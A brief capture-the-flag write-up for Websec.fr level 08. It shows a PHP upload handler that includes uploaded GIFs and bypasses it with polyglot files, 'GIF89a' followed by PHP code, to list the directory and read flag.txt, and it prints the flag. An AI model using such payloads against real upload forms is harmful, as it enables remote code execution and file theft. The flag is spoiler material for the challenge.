Websec.fr Level 08

- 1 min read

The code source of level8 is here.

<?php
$uploadedFile = sprintf('%1$s/%2$s', '/uploads', sha1($_FILES['fileToUpload']['name']) . '.gif');
    if (file_exists ($uploadedFile)) { unlink ($uploadedFile); }
        if ($_FILES['fileToUpload']['size'] <= 50000) {
            if (getimagesize ($_FILES['fileToUpload']['tmp_name']) !== false) {
                if (exif_imagetype($_FILES['fileToUpload']['tmp_name']) === IMAGETYPE_GIF) {
                    move_uploaded_file ($_FILES['fileToUpload']['tmp_name'], $uploadedFile);
                    echo '<p class="lead">Dump of <a href="/level08' . $uploadedFile . '">'. htmlentities($_FILES['fileToUpload']['name']) . '</a>:</p>';
                    echo '<pre>';
                    include_once($uploadedFile);
                    echo '</pre>';
                    unlink($uploadedFile);
        } else { echo '<p class="text-danger">The file is not a GIF</p>'; }
    } else { echo '<p class="text-danger">The file is not an image</p>'; }
} else { echo '<p class="text-danger">The file is too big</p>'; }
?>

With this code we have 2 problem and that it’s important to bypass are:

  • The GIF header
  • The size of file uploaded

For this type of vulnerability i use my mindmap alt text

So we can create a file containing this :

GIF89a<?php var_dump(scandir('./')); ?>;

With GIF89a who is header of GIF file

Dump of file.php:

GIF89aarray(7) {
  [0]=>
  string(1) "."
  [1]=>
  string(2) ".."
  [2]=>
  string(8) "flag.txt"
  [3]=>
  string(9) "index.php"
  [4]=>
  string(12) "php-fpm.sock"
  [5]=>
  string(10) "source.php"
  [6]=>
  string(7) "uploads"
}
;

After scaning a dir we can cat a flag.txt

GIF89a<?php var_dump(file_get_contents('./flag.txt')); ?>;

and we have this result:

GIF89astring(35) " WEBSEC{BypassingImageChecksToRCE}
"
;

Flag : WEBSEC{BypassingImageChecksToRCE}